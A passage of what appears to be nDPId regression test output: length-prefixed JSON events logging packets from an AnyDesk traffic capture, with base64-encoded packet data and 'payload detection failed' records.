FBxWiNdgAHWd+3qd0e+huqOR6H9AAOZj8Ka9rr0ZuLemwU\/J+F+j20GaMrjicpShFIkxsMHLE+Ix2YOV9ciOVP10G6J4RY+rBW3DIQ1LDwp\/u0\/q2QM6oUZ07g3pC0LoV555dcjlHn2YfX40itSmtzbtmaFHL2ZamRH5idJGTMLCqmMJ6x7KWyxFfnFPksO2v86Tj9MAL4F438GI87P6Jx1ke4SlSP917FuT3mCLo4fFv54wQs4mXo3S\/Y\/E3YfGG6CNndRwTctVScglECKQa3oxrNvdWGDFyG5blhUwtAnALwJnRY8X8XZxRbIEdjhQV9IaIXq3KljEvfx6Bodwk0sO66nQwmP0wNfxc1dXJtegwkL3XvOvvc3yW9rw6x0Ty3b\/rhPMJvxAPXYFX+rXZCJBk9TVHFzNnbRqbJisudoLfkkZ1\/Gz9o+QJMUSOInuOpByxoVOckBCbfsmHMsQNSd\/FNJWMXZCDwlC0Dx1y+ncHMK\/WA0bSmiitGoYMjanvfK37j2eD13qmSR9kdjBdT1IbfjJWp7UinnjbGMhMgyMNI5YyVLaR7RVOElpehUImCAMnVZCUrRlcY3p8ktT63mCk31+Mz\/IRM\/FdbCqIBhtgD\/aBUpqRcndZAYXGazXW\/QLq4zGF8oMgliy\/yWsunUk\/i9H3FGM6IMUhV9tndaccQ8OYPS7\/mxtMq84A7hD+9qn7FaVFoHIX5H3u504vu5cEopcff7styeuMVqYWvrpjCgamgVDMac9VJN9s+gpsrgfIsEW46cPXxVR\/FHi0dhfgGsL9xYMVUuZ0v9T+D+tShFQtaNYwLl2pwgGp4OQUsHaeIATUWcLR5A9U3TesGhBfiqrjJYWMjaR5nLD4pkwLz5LQNWj+FjxrLc1KBfHiXVMuLHNZHXowofZ2\/NsC3ENT32nOcfbseuxuhoaqNE0Fdm2WHGarvwSA20+4WIa7Z6CK0w8yR9t20l4lISMznIgVT6OAhehtfzCLZ1Kd8h16+drk9N+fohbLsIjx75fv42qfAIh5AuFG1goiqPq0s2Z6h+YcOqITmUL\/78WyhLWDJN9oji0eTsv64\/hNLARz\/cUHeAafG3lkEFbBhYDJqh6wO0E\/FGnh6JyE53OCe3UNrjKXtEvDdvH9sb9dRdA92MX3UhH7ufvIgdCJmoVSfT81cW0OT9cI7Jkut6SV3ik\/eFYlu9nvQj0ZtWFLZYXS71NwK\/SnWTObd\/phmnOC8l1IRjczAqnVMsuCFyw6ewYRsFd8fKnxN2edQjFywu6tTWaVwacw4vS5\/VLlaLwmp2+FJUS\/PV4pdf0fqKRTW0Sd1UjKmp8YaeJeNNAS9a1HJg26fgZ3DW\/VS+PZ20+rK90udtMkQY3SQldKK7bQ8WpJi+WkydiJLqtkAQU7EVXEXPMh5CkEMjujtweLcxdZjPX7b1hQWPXL8vUOl\/KzXSSJSihb+4EHifJqzbA+5onX392b8roI1Akj+y5CpuKS\/kJSRqaROaPN6cT65H8zNjImL8RRTzyPls\/l9nBDDtwoqiLkYbiJsIJ+5cOfLmB7ppA4HTPuKOJ8parkZGLpfvtLZBEo31Pky68mcLl5pflyW4tRJzgQqdQOiR7s\/gLf18yKex\/OphA5erxQJjFIE1c91Ls2EgndG4sQLHBpzIe4lfzGJKo+ijFlbJvR3CA4Lg8Qkq13jGnGTL7EKf2iQFjXKHWzmgL\/OEEClUrSE1ATpk1RDWUjng9B0zA6RW\/wDS1nWWiIzPqAL0LNteC6PBr+XY4SMDgFHf7LZXSe2EPqaHse+vW7HRU+7J8mxyrcFIaUS1\/xJ3RGmc6lNYNbJgnhMIpYPDLVG0W7tjTK7TqoSQko9CF6QkntP4wK3pmgDY1rZyDBLDNdXG0DqEG5l+6il5i\/mJ89Im2rqy8+0Vnoj6wtX3YLnbgU2YAot\/IwPmRxznGNCTDOwRHCZqW8+PqnazUGkAUyRyin8E+gHpzHMqaTkFCQKIRuIQcFMXqexwN983\/FuK8jz3lJoZFHDC0K26wuFuvubqbNx\/JDeVYwknG8epfDon1Hhzq6dUChAGZ+YgO2KWLVuM8odUhhYNkC20ffEyxtBvZcQzikwAQjuo2KpTGRJxWEkqn+O\/UQoCx8QkP5S+gcUThfFvbdD08baEJLB6UypeQacMgWib9WpKIZf4fEM4aD3d1RPfYI6dWTs6irDwGhzw62USc07G6bPAOCVyc7agPwQ+7dJJh8yotvTI8UC3UFB2+nLW4uJIooN0PK2Pq6EXmgRvBp2RBTUlo7OsrOJKvibl0xjEEuA2NVCn0zzV8G78ybKTdc0t+cz5EeL3RXJh3hXXDww64m6D37H+QtUW+Z2lQohRu87qBsF+6pUuwmFF3CQq\/wTUWSqH2bx99Go4\/HJl53dutY4iJDlhN+g2qMQuH1XU+goj7XaYXTJ+\/2aHtLk\/E21eD8qievw60fmIOpcB4JihOi3JSBrlh7VX6yxOjF8VuPTOIrbtNPArYsZIwGEh4TKoTtifodQEowJHU1BDW5Zd4Fnab1jUcF6heZBou9Xq5KLe8mkRlH8spPPnv3lfQevPA9ZvSbZAYSRfIzz\/uPCAbFBvEiOP6D8wd\/hAGZgoEUdNAyJ1N14du306oeIf6fdOU0k1uNRKqXaUCIDqy67fnCZ0XxdXGti1O9U3dXXby32qOVPKJqLeodXfiCWjg96OxCXJfUgjmK\/EoSKuDg4kB\/KWQ6CT1j72ZkaxCWE+KzKayPQ9ekD2qXwrXRpoABFFzPQ0VLU0lV4X8NhiOK7\/hBaPik6ckYR2ppYmlkwAuq0Lfj4LzD+jnAQDbebZdUJtkkSEexLAvUjZpBHdBN6+4nCT9qdLM2GLyRQfjMLNL\/KIxBztQOo8Kph7XwFo14Gx2QcXz79yZwj8vjToaYjG6D2sy69MfHMuQ2oNE6kYV\/anHIXcY+xo+aIMWR4AUN5+7zBU6wjM9x2Y6C5Ut3MWjIj7lQpbtdy8m\/IUhBROpjvEa3m8vZPfIezuB0b32jA+aHZHNEIIkLV7yA9vSwW\/PyXbDSo0yXLjSqCYMcj+Uuq1a8e6q109fJqVe1+OAWIUCZQVLtM1T+yX1lhRIVlKCbMk1WTBd0Twayf972vbMkOKUpfzusoTbX82E7ASZ2HlvNW+zeoLZe0NIMqWypBHdmoQIVYqxuApAGt6bJeK8awg1sgAfWVv737ZguJ29c4EgCeTHk3vri+HvZ3CPw2XrwBRol57BQBlhd9edyzFhWp+aJd7jkRDYmFAy6sBWgrOkI\/BMnpd\/5fK3QvwI0UdX6c+h3iTM\/2exM6fMKROK+9jMe1fhhHqkHaC3S\/+kME2zhLmgwPJlqDfbk3galCHvNVRISGjVbk2aVmKkS9vfv3\/QBZaPWCi0mecGUVJJFvy1fhQCicdz85Ks3Qf31zab1lRDw2Dry5vj+\/Ep6jxMj8K25VaxUxF4Lu9f1hTO+2afROwOkFtFWK5YwRtzRCEqcOE2TvdRbjo12NbURIUx9QvwLag1zfdh4PhXSVnd9Hh81Zf1Uax\/7fJXHrn3LG463JKcRzCcUmKkOIZVwHVjHgWLytvcpdhTsFr\/TQKMuY5k1jvKBz46C6xo7XL7tELvNmdcjOvP9X3F6FioL55mtQs94eL1iMKtmn4kjJ8FXcJc3yWAxx2IsnJPaY9Z40TI+xql3rOVBLhB3TMG5eGEx6D0qD\/0OaiHOYEnuHt5\/VUeV\/CNbUsV7tjiwsCcJJtP8bGKrGRpW4jbJX\/WDtoU8mH3og9UHQxCBxCmNz9ZwXJ\/jJrlxDkDSe7DfxzzvIO92R8N5QHLbY0qRJXA0oHw0QwIRSP4Y17fajY05ugWTNjh\/yPUydZwvycTHI+vKjSDv7PaLXqNq6jzafSKLwo8qHzXEEi5nIVZvSK2TlP0psEtpTYRY+deY2gcc8LnqgIPgw0PhoWz6Nj95Tu0xIuxPo72n+jnRws218iEXoPHqWDxn3LZOqY4kucvlzSlh3Uv+z9plq6jTyR+yVxCMi0I2K1ZSb+NoJjVkgvBHzj2CleKg2gMU7er0esSOb4w3ylOYKtx1ZpGdeXryUXbiFBNBLguQK1iaUxCE85y1nWjjOAXr5yct\/HLYgKpMd3sOfVZqybFK6Wpghtx2Rsvx5WMJBAX7gW0Z2auqLJyTAga+0zjtCw\/xBpPFJh5oDNVZBW4XecUQnt09BFu6YD0BNe235Y62cNZ2VUqVsh5gyhUcSkz2vd9HnwMDWU1YyS3lamd+RNmTmUwbeWkujT0tJRQQ9Y5SbOi7NlDA4="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1374,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3703} +05006{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1375,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":166770,"pkt_caplen":3475,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3475,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfltAAIAGAADAqAG7wKgBstOUG56PJn8lWcQyTlAYIBCExAAAFwMDDVhZ4hNO+msWCLox2e3ihYKLZBcpxmgLeaCybL5OiMm+eF59XDjWKkpexEuOg\/7A\/JizjkR98762hfKEhrzqoUMKbhPbYYVXIGSLPGTJ9HnZ8qTf5GkmbpsPF9NKAZ7Ql5MQGbwF2BYGNcptK4qWpkUMCnBqzhgUYBSTZdA7n+hmG6iwE+sVheaSPvWIFhPUjfJaFsO0vCcFFOXfsAxomAe7r1WmLD8aWn9XzFFFmQFJgV20p70XSYtfOz5bi5F8YGJqF\/vONOvykE\/2RcAVwbnHrC6tYEkebmSwMoJxd1YjdTSx7rpLhAOSTBvAMB5DySRfqSC5pu7Z3jxZSGjtWLRZGT\/R7D+InnmYG4yF7CDpaEpANe8ToBh41z+n4w3oXm4ewLqpriqlW9Jc4cTCuxdlU01Lb3Iys\/nFh82uABaddUUh\/isuHeHLeVaGORruse715C\/nRbjhqq8VaPXUpZA5szWqVaA43BUhfqxJmaAWuNz\/HPDwP6OR2Fa\/ptxi4BN1xnjmLFkM9miDf9KG\/FtdahOfmMTagWxWkxorrnrWybIokQXAZyeSSJ85Gbq2IY08dSo9lOKzgWoY+aC0HSR68evF+njyqlVi0Dxs9bgQdDreWNwiJIPI9XET5ohtQr0XJudTwMmdqZNnw7DscwmqehaMl9q7YxKu3xXWq1Ve8z+EaDXhYovkV7FHn6xIoUuhvbXcF4Jn70BuM\/KMBijHW5jHKCHiI5s7ESsH7JL0o\/dVLZbfk6wrzRHZ6f0xHswGD0y5yl5t+rVPly27lU9ntS7BwYRRDH6mFOgCdd475Zp0MOtup7kKjA90tMWmHLtnQk4DlpwaJQiePBcx9fJWitnyJ+zuhew0pTyQzNmVjUSvTQqVrRVf3A16xEWp85xKlYv\/cM3SQ5IBxuz1+q9TbFRTagauY1BEgt2Bq\/yNkZioYy7MF5otW8LtJOb8wBFmAXgTn8eHAFXjMKy\/0rhoky1LNXF557Y5MqUNjE1BdIWnQWBOZ4FxuVsORbc8J18r0hs2XKkA+r6+a9mQ99MrTVoYFcSqnUQYkVaMDSP31ewQZTWigc3CpGMGBxoOtVQpJX7nx453oodLnIzirzkNJA0zqVf2RxyBp+5xUYc8UnKR9slsDyVX9gMH50AIZ3XK4CsrcBy5hslQ1qXv6yCGT+la9Y\/E6AqqxdaCcXRKmpng+vB4VBvUdbSACgvbw9J+LoMw3nby9kpL7\/\/SfLyza707FvxKjPkqO4gJZCovPGqpLLWXs4KX43W0JyMVrdxmBTIXXGLVqNYcmjH2B8eB2gele6suboptJS4ha9XcKH3QoXX8tJeBRzoLQlWMElqA8v2wBWWQBTg+pu7l9lc4TsnPsm23JiyiwIDHIVQsPYdDFVTW1DHdTy1QtJgUGp3ETGbjyzzFlkTB4LicjugLcJguDmZtR5Dxc\/4Xa2\/rrbgMlTa1ls3tI0lbdAidr0cU+BxtExGu2KIGb5Ey4TYT9LgBLfV9Kg0WE36fDP63xOm3dQFgSKRYoTT2UV9e5Zr7WA2OFmAYVaUMLjAj16SGzh5icDj9finxICLg3AK2p7iMOmF7gHseFdkZM1PPOriX1FH5BvhDzWvw5h+lE0NCcC2c8iqUEyd2hTkKjHlr3OAZq7vnFm5IZdpUyZ\/IWJshb5256q86EsILyU0SFEHhsCEHc18qNtXxVA9u8NLI9wwFLzNBGlVJFXqJ1VgQxHTFb0fP0XgozvU8rWuUE\/Wx+pnZbhvNEVN52HptkqTWWm43YrZQ4tHIZoNKslsnLsGxMmT2s5FDziS2R93o2ibC53KX7y+fmXm\/gPuTspvVK6x\/jnVRuG1WI2SLffwrP0LkKnTBTCs1uu\/SlH7xqpoOj3b4epQmjB0esfOBqFvS3N6Cvlxwk5BRLXAl0tnxUIAms02P8UoolJnDZh0lX3IEQkVAlz+hwswl4pdE8E+2oJEmnfFxYkg3fcO+yGbSyOqASYrEAxgWccym1ro2HHWS1pm82DpIGzF32BXlbk\/qBQ+I+zJnyL0dOBD055e2oHrtVBf+fPBIS3iZ3YSg4NwMRLmtaxjL9SnockqhybygWBTHOk46dPPeUydY05qZjHAUM0XOc9Bmxnw3LXVbw\/OVp\/C7KUW41If+WMfAikbnftiE01FD9qi1xUfLoXFZUMbDBDl9zZHIQ\/tUaacNt46CotVwuIQEwbJHckHg7KCZvA39xKmQZeR+hofTXYnwKxYiV+6dCma94wMVLaN7MbppIBXoefEeX+U1d7Pi6aggQ2neUIHF0+y\/BW52XX9rFwsH8pWZBprzJk71kATo+7ie4f2Njzvubav2luecK2Ntf5++SVKrMVqx9DyslW2x5IQfVfqCfQ+6keiSwMLhMbYU4d11eYJPhATltNAu4OzyMRnBDiEK6qFkG8OqHw0wyG1mquRL6AWc44pe0HcIZOpro2HOX92m8RI4XrXw7TuIcQtgG8WllUMrZkjWCvjqPUhHLA3iSdLXPWe0MF08rdNU3WUIBz2jiSCWlM49DegdLAYzT22B0RhtQwcTBtf58oAYgABEeFPSx\/iSH4xBnMFKb9egXFIhb70BQHrc9iAdSuPzYrwZhjE4NG9ezCv88yJCnTxOkmb79jH0cj5or7GLRgvL44jy1giGbUNlSBnYwidzh2VAz1a46a9d3QJP1lwmeSLweDaNxSGcvaT+z4f6CPhgbXDB9L82Lcsv8mTl8taDh+zgpM0v426H1B26x6l8yVfU6FU9D+t8CIikpIo\/W7R5gJR0deVRzDK1rbHN3gmRcjwUFlf9OUkqa0tG7oiYIBudhruXHXC\/XDmLkFZE+GU1WxwOciYnh8TB1N\/RNxZQE8f+C0YoK4epy64WpPsf6dqfARjK7BO+Nm3PAv0QwKSipsvWstlIuqtn6GrpJ6CnAJ8VV2gP2E\/wDQhmPruZe7DzOS+HzDFfEH2Kk1zVl1DFI4bISXzjAudcNh\/f8TLPR0gqslbQZYVdy0jQPO5mHlEF0tVj18FA9d4Rjd\/3Ph5j8wnQrEGmI+VkJyfOhzyfVcRf7G4fNdf9eJIS2WR\/ZhhG4JuIrgQPrmEcl1YgIx8hRzoqm6d8oV03s2rcdZyJm42Zfi3jK\/4qLMToJM50r1c1w66iLdZKgwOTHprxwBiLDA1shrOBEqHktpoBOCw26PdZQjJP8TC3peeQMBW2Q9lNEkhGojpcrbVJ90hbTy+zvVChcJuns0dHlpPZG2KQZ17U5OFeC0l7wD0kqzso1I\/7ADaLX4c83Ztj3Pci7l9wcsyRxobUrcvFlthedk2U8QpFNgh2LHYN4Q8uAg4xggRanwpShkbmwtQvdkV0\/qSCv5cHaq0evTkrvqaLb2Pw76rUh2uGI2qMeeVT9RzJlhZewqlgEwKPh8cHuJSdHjIk549JfyWCufgVQu6\/qm5V7fEm2NK\/6KwpcC9\/NKRxI31JXbDFRLYNkWBni0zycmx9mjuVtaE1j751xnK8xfa3yIVj+frQpFgNh70X\/cgmjSTTK1nU+C\/iJXzucGWXB9cbByPme8ZpYrNwbF5j12+vyn++ph8Sk+x7BlvR1Dtcbk8Eswx6Q6MigBBXNZj\/pUNZmPwXvt\/M5L\/lp28x89Eq91cHDhNc7jeRE4wvcrZCMcJh8dTBX1smidi0xtHC3G+aOw4I9vjmIKbBhdnU+J98L3DYrXOjRFuWYSxazfhT0WBipydAMA74xWtLZeio3As9cpd7HzRv9XNGzEe4+fBiGVz9IU414hQM9YaMOK6c8p0Ws\/P0UWuU9rHJw\/ddlo2D9JtO23umM\/LqXOGvW3VQ3cNVR7LtwGOiPljtYTCNOyhoh5Cu1+nNUXZDPBV\/opkbOMNd9HAyoJyY8CejCH8Gc0g5+Nzx+xHP6J\/4swOeStpKK0TyKdGr6EAbTXedq02gO6QbZRZNsxfrrLoEqlUvjQe1Ru3Badq+o+KhD\/OWdQFeLbwVFvhE+vnoArPPCp\/BE5hLHhYQ8CDKrB2DEt35yYBL6lHXdEyJ+wBkXGLpLcThaObP05I00Nl8NyPEMr89I1uDdo7Y0FFONzZ4qV7nO2aY763NwBuYMEv9rRANWMRO7Xo5BVLhx05iPBYaYJdDKvysys0ORqxeq43i6hxSNwT1rBk224UXEd8NYosVxzApDNunumuDpDsA6pQC\/FrYPnbU1c8jHMMW5Gn\/I1uYSpzyUSg5OhrhMwv1RyWN3WfZI6zMFnbJN+v4fmzhb78hRP+P4MryT2uT1xrRMSci16Mtsz6H3uRNWa7UGORxxDrDiu1DJsRsjwfLL4JFiH3G8JQafR3rZEcp0iGeCI8ow76GVcc0BIzUYbv\/Kc4BHpiXu\/mKh1mnWa8qVLHDmUOpJqHv5lIqplyFBBr9NOyFyYXMSBql1ifaaY249xeTQVzidb5wKz3+NHA5J4zNvxEMjvr7K29dKJCE\/WjiqJMrOV56r5Ja9YOBGxnW0SV2RxtAWM8A4ZNNfhZS0Mc\/d8idZ0Zrfsm8fSs43DoV\/p1iq4fI7+mcB1fzweLrgJSKua3\/mFeF1g=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1375,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3441} +07779{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1384,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":196568,"pkt_caplen":5511,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5511,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfmFAAIAGAADAqAG7wKgBstOUG56PJpCNWcQy21AYIBCExAAAFwMDFUxZ4hNO+msWCvQLCgKQh0Cbv38GcRmV0qpmFFevmRXiEN7kptwECnx1J7XWUD4WVq86n8T8Mnsa9aSxSRHDcszsORKW5Td9j2551vw4Fr\/6eS7DiuQctlDZodQ7rb09V6rdTAfgLK95V+I4uphsmgnVW7i8kkZm6qGLdUBaAV0loPLpc\/ZWqVTT5OmFwwxnHp\/yjbJYgGmQlut\/4pSEOk8A7SHqoMRlu68oxh+\/V8B0FwWrc4i7\/qCZlNMJrCLY5lv74u2IlxClN58MatNbgHYQ1IlqSbj4bQDcyeQlzcDexbMqwJy6kDUrMWMKIl1+fpG6QDKapen3fYoCEGzkO1wfymimJf+9R2nlRwz1C8EttUKbd2cHMaq2EloAsByU36dTEUUi2dwg9XCpaQq3t8PvzIrf1INP7sX7JOHlSxty15htfFLwabKM2BsYyVCMUAZYw+\/zoDQ0FONPKNUbnBv6XgCCCvYcjbbsnyYc0i7XIDHb9EgYb9d3CLOIrDYQ4Qlp3Pj9FzetwWUAGU1agynvFHEtvZs3wGLx\/CikSDuo5XttMFF0TarczxgZC1aFZn0T99DJj5MiaVwSpcOikdQwfnoH8wB4KQxF\/xdLC0rcVF\/Z\/wBH\/vG2rQuVwAgeKzlgn0BXsOTxnNnSXh3e4dyDjBQG\/y2ZM\/AP9xFB6IbQB\/YlZOijxfobjAtPtLvEZm4XzuTKaFPyCfHVXMIsnUdxFNsAO9BE+U14cDyO2USlZpFojmfM99lu823RHvWLp7P5BbaY3tdr3YUECe4A6PAvjQ2nbHCwNPOCnHL2PqVcYIWf3NK9Wv8OaJHj5lkV98mokLJzWecCH0bfyC1y+RR1Z1ZbMHhfBVBkWpEZTGRIPGXtWB0DLNl0tnOdRKQeaXNs+ajqQjac6ks0kE1mnADtEc3z4rEoKFuWa7U0anfiWVslM8KLeHm4f1jSBWgOI+pkvqMbTijJNQKOClTjrHTmOQj9tVsI+6fUAWC5OKaAINJbiopyHrVuDAt8v9FmcrxiGcUmMbOqmjye7KWLHz4tvli5fxHLRqUjXTQ\/Hi3sGXv3amMP6hckAw6uH4+AeAGUZH1JBjjSRdhNHdQWpwhdfjDBQo++W2Mq+W51VX5tRE1A6iwtStVC9INt3gh1LlnXjay71\/gP+ydEK6TYEa3EZ1\/qjL25X\/gAK5JhVtEGELDCIp3ICgWMkyFmvcC4mWaFsxwx0l4sxZwvAK3OAis3WeublKxqojSmXQqcOfLwm2oyN0nIyyHxUfJ19FGz875rFrMsvq7ogq5k4eaJhH5MT5aGW9bTwPyMxa4HavaJx446Eg\/CwLYnKe7\/mIyCji7p4y2YWiE8EpD6zjngyYzIoivYABZQ2WsXPFvnXgjdvTOYPQCySpxjRnJn8MLz7p+ytruWP7lPZVnN28G8kreyq6lFW3KMw4K3bAfEjamBsWNtnMoV6b275ZWO6fGnIbh2tUFFGN9vfzttU6aN5HDV2XdTf7JkC6MKHngHbiyZvVrrURxCI1Ui4k5Jothys\/du0qKGtSDKXavSWNw806H2t0cjO1OuodqoRV\/wDUsylq\/lXETWJB0rveG0kovDcCGFtp+LXBSVpxP0z7ApJZcvQ8ZLsWApAxjcnc3b78lsSJ8JgRow1+vQn0xlEkjMcjuVgymlDPMguq7xEdJ6M+csqyTA4q+vssjOTZVoXWGZcwe2Iwt2Wtsy\/nXVaGFPUCmRuXDSXZcl53AVvG5yA5n0U4vdjnE4\/TNQ26NHhrn1UaG1sd+aRYIiDXkFLr5ebM8vVExTGwkx4hk1KYhQxixJjgSm+Wi5VKm1dxsPW1mvOApXsxCwcYFufNdKuQcvkIH3rGfNef012hDYOz85nRFnpKidAOn4KHTk\/Rsg6E8x4A1GG1MEhBvwTu33J+\/E7TwycTpekt9Z57iQFd6j0pDmWx9DviIqxM4ps8dUXHX2WIEasOkzbgxRd5ZCjuiArJT+8CmktUEkWQbsfPTpt59w\/UIL1kpbpXq90GZWB3Smw8TLp2Nb6tq8fJyFNswXrzvsUrBQwvOiryxNA0RbhauW4VCFH0+\/psM01LY2nkAipkji2fEA\/LoobF03Ev9T1d1x9n1wq4xkdpu2LLX3ib3sVQZY3PtIcbXowmWcDHi4hn1YNDCeLcc93dBYs3LyRMYYebWOVVwkdnvswTmH0aYjPib77MJFryE97V4vWL1I+PbTMOzqvva+UoUL0qr8oy3dcDNJcGz2SkC6w8uxARdxIPkEQhNR+Dm7\/2NaEqRHFhVpqH8ePMKihygFWGOoSutgSKu5ho8v2wsUe0rNbvQiwKz2rJbpmpNkXe3VtI+K4JyDjXawVrG+ln7eXNGI2txqyBoX+s16WKuM\/YSbWdKYcyV0dXiCY99vEUQEKIJOzKX0rsMABw\/wbiH5q7OxifEG\/uoopymRA1z22yEnwhG5pJ+\/Osj\/S5I03UqYtFHaex7ncy3Wiuxytp5noLfPypFgchad2OFEKDGSw7mXqZxPGk57H71qX5DOCBcPjRbHpfNWgoGAeQc2LCE8mzjPElC4q6VpXIVn6Q3SqC\/dm4LIkkW+eskuAP02FUlfwZBMRbKLjQ2tL6yqaKEm8n\/Q7Lic5UGRBt40D14UZVJK\/piJVfxQ67hBCQH8Pf0pZLtVDGuk+6TsoksWuQeRXPEWTXXamGJL9tp2GtCSGva4V1o0bjhlpoHXZk8COqvYgMSt02pg24Ky3HlU3vYru3cakYpiq0JIbhPPQTUbFEVdpzShU4BK58xacmzFDT3PRSD+GOh+Rf5Ijv9Xcy4wCZZGQcDwFs2EfHMwx1CQW3DyTkWnHwIQS15MrUfgog9pzl2yz5VIdBBmqlQ0J0kwkpoi9miHOh9aLg5eUJsjKGYQWXcTjocrR0iJ3gl8wK4DOcjLXYhECAsWGku4V7HBQ3a0gxb+\/Fb+cFlz0HLHbPTEM8Kg1IKtpV6cqxmzJTacm8s\/uB3xKc27vA5K3lJJ8\/+igjgdyY86SejuVuRMLiogxXwxsB0jvLJaZQ9f2Z6InebLP9l9uPvCRcPgXP0H7SBamEX6k+zR6RNNJVolDGjYAj4VgUf6rsK+\/ORaCiVfuuhUIEXd27KxvAHy3kSX7Swx6G3zCwn35cXDNuE60p0EqlNU1dVxjda3qBicfIVKiAtjfv8X+1AJA6sYCHbw6dCK6q1cK86SN2U17lcIhA0jKsPckaJl49zVMHj4CgyM4E7hy8DvHi8KrUpd9vgpPTHH0Ry1xlTqtZfHwSe7PqBPQkIuGEaCM4FZyKOTAL7kq9QO0JMA4rJOcJkN98Khy3zd9pwk8H09tWhuJdanLCdDZJ\/p24rpSSpRCHNN8VcyvZhK9zFkDqG8LSgil8Dy2eCFtppCkliNBr25V6vzUrqz\/RRK7KruG9ZHUa1XNXgRQrgdfAY5WcgmMxBwI5sb5YdeBs61PzcTVJoIvF+6mhculqQ8z8IM1dWKYs1JwSRk3XNrMxvFGz6pEmRuWRCmjkvt88Kl1O\/naBzlZxvqKg+6ZhsTW6mQSqZ\/+uB0kjXtwIBPYU1wLXi8pcYS9IMFFrJaDlZh5F\/5sMAaJanxUIlKbsODBR7CEdy9G787+IVBsPQDbTXelAuFOOKRwNFT0dyootTiK8wEekan4gkQp1HF9y2kghgIqIEwVMXQRnysZNDZl2wUB\/nBxq0809sTaCn+ifeLiPR4oJ0XKyznNlOqLC1nCT17RUWBaONakaw65bvyQ2CcG36niwYj4WQzJs1d5K+vrMYvuhKFmbY\/2y9XAhzO\/uSaru2yaZ\/F3Oz7o4Ru1BLtZuD3+A55IeqzxVakqNh5ehaIyRR6BtbditkjqhQfmmdvPuufg\/uXXiJLz119VyezdWT3vU6WoleAeAsLk6R2P14JoqALmIzbRtXUim\/zPJhk4HggXneCxCy6vKy\/c20Z6H5TRy3aHRoLbOb+mi5D7bMfBNh\/y5awzm3d8FRYDquZIcWjPNPRBl3i4QtQDeRg8SyO34l\/XweYbHNgSp2wd0XG\/Oavnxoa5SJx\/tiSew\/OuQ362uTHGPPmJ7Vgxllw4\/8VovU1k\/c0bm5W4WuddvWWJfxzQtsDPRLyp5iJUCxudFRedZWgMndrwq6dHuL7M\/1O86ebRekeO+qAlBRQ3qcL8+OcQuJ8hbBcYermvXGHk2bV\/tYqZHkZDdrZM9XiAQr7\/xjqeiPz5klaXiARm0da8jVhtCCCl9hKAPHJ6+qQbE+YgF7RcKrPCtIYXaMB+hx9eJW2nW9OUxfrJYUl1WN4bOauOWhVJmnrLl9GmJgXEI5nQ9Z3qIFcgGSFrSPBed54laZ5Zml9r0DPJ47VBlDN9IcCUdasDCsBJYF7q0cu410L4ISRXJ2JlemN3nQ8esQg3mgAQLPCrJADKespk\/Btq1\/egul+mbNw6BbKPTsw3XIx3FU\/XFeEWcOHEsyTkN1ycXmnVL9X\/6LpQeAE96g+rDtybe2GRO1AWJXqzsmcxQlt4sAA5Wj\/yevq5WoAvm\/lQpRQ7GI5shU0vJTTMyfyhUkV\/MC8GxiEjifWMPSzlYLgtq7qYLHJ+49rSWinsibv\/RetC+MUTs4XOvO\/XcWd26iIVd97wSaLSEnYKhuSgfpw95v6lUu9Nwa8ukUpo9zlUJ8xgyUWur9Wi\/jjq5mPuJAV9fJR7KmxVZjhXD9ni0cWi29WeS4oTgpEFv\/0Az2FfM3oDrggd2fkWOervPyZEZjvge2hkPekyA2W5CcYPdqp8W4WDmApKtGxngiae3JoUojZ72FIjkKIvFd0Eb2hN+lIHbW+9bqDTfMqdyM+RU6yTUN9XJY1ziG3pV5\/MU\/gKgKd9NLF48BDJRwqWxc3eaNAAwpC6+i8f7vy1Fute8vMrEOJ4ZRrJ4QH4yot0kUqD8\/+uQG2AkI1icP3IgvCubqL5nS6yKzGGJv1s2zKYbQNX3r15K1gbV7KcuUlSUo9FLCLS\/tni43oSR+ebko5nwOdQjaCcgt\/fFz\/A+3J+ZDk6XXFy+attvxSU79J7fY\/JuK0ASfxOIu9sN0ZVAHaElArcC1yNcE6lWC37L1mN\/u0c35O80vAWR1J8JEqulhx4nxWJ6cIUZ\/G75tVTnn6pkf205Nbn1GrGCuVSko9VaaIh\/LsZuCh5xJ9Ioz5sA32WqLQEyNY\/lShsrQRuVP+OL0LqbM7xaQKMfnN7sVJ0FtefO1sDq\/5GjivHnpVyqrdFdRnDZerAqX8b72m4b2GQqWiVju1YYgd4ce6oo2K0RBGWTNm8lUdte5Qo87MfsT+O8\/f4S5B6G26CilNioQAHtnRNdQPzR9\/I92oP8gLsg+5O3hdnihp1kldwJy+vJSzfv++D54K0Zdf+QLpyHAqM2a1mStfdwd7ZOjfkxMrgAKU+TCzwx0hhbg2TPxaZr7uf06laj1pYqvTT0VWGq272dYzWfUf2MNBMXQ4kcXEQ1z6ymCQO7SvAvNDvYUmWoc1OpiSg5bt0bIb6e4f6Mu4pxhFrSyWKshAME2sQL6jwSgoVRDXaGkUtq2iLuv4kexhrTfaSfkYpw8woyrH9rzXR3j27n5DHN1669IbOy1toSob0wYEBZDnADk4y6lD\/26tkz3OZRZxRxPoPL97xExjyrS3jFntBMH\/PWntf6BjEKa1SToO3sw6buCfBNqHC0J\/ZntftmfH5\/XzvKdNUyHSxOrZZIGZvtJob37cbBFbkt2ZiJEiVYQY5vwT1SQXA14MOaCs8snVJromYTs1rlFtJSIMtv19qjtKOZiun1cQCKwIA5Gg7rDbRGzZ9Gu2FGssFuzWAewSmxwQWJ5QUqqIGIbzgcDhsYYbD1ab80pmcLIhlyuASQTJ31rZhJleIcOuDp9XDwgQr54hVYZxAhf8qc8XFmWKQV2y9i4R4jcv46eqOY\/VKPqEcv\/ZFSsUI4kAaSQQv1uf1vnIU